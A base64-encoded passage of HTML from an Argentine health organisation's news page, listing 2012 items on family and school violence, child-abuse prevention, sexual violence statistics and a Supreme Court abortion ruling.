EtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1